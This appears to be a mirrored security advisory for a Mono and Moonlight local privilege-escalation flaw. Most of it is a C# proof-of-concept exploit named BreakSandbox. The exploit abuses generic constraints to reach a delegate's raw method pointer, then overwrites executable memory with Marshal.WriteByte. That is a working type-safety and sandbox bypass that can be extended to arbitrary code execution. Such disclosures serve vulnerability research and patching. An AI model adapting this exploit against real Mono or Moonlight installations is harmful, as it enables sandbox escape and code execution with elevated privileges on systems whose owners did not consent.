| 
	  Source:  http://www.securityfocus.com/bid/45051/info 
Mono and Moonlight is prone to a local privilege-escalation vulnerability. 
Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer.  
PoC: 
using System; using System.Reflection; using System.Runtime.InteropServices; 
public class DelegateWrapper {     public IntPtr method_ptr; } 
public delegate void MethodWrapper (); 
public class BreakSandbox {     private static DelegateWrapper Convert <T> (T dingus) where T : DelegateWrapper {         return dingus;     } 
    private static DelegateWrapper ConvertDelegate (Delegate del) {         var m = typeof (BreakSandbox).GetMethod ("Convert", BindingFlags.NonPublic | BindingFlags.Static);         var gm = m.MakeGenericMethod (typeof (Delegate)); 
        var d = (Func <Delegate, DelegateWrapper>) Delegate.CreateDelegate (typeof (Func <Delegate, DelegateWrapper>), null, gm); 
        return d (del);     } 
    public static void Main (string [] args) {         MethodWrapper d = delegate {             Console.WriteLine ("Hello");         }; 
        d ();         var converted = ConvertDelegate (d);         // Overwrite the already WX page with a 'ret'         Marshal.WriteByte (converted.method_ptr, (byte) 0xc3);         d ();     } } 
   
	
  |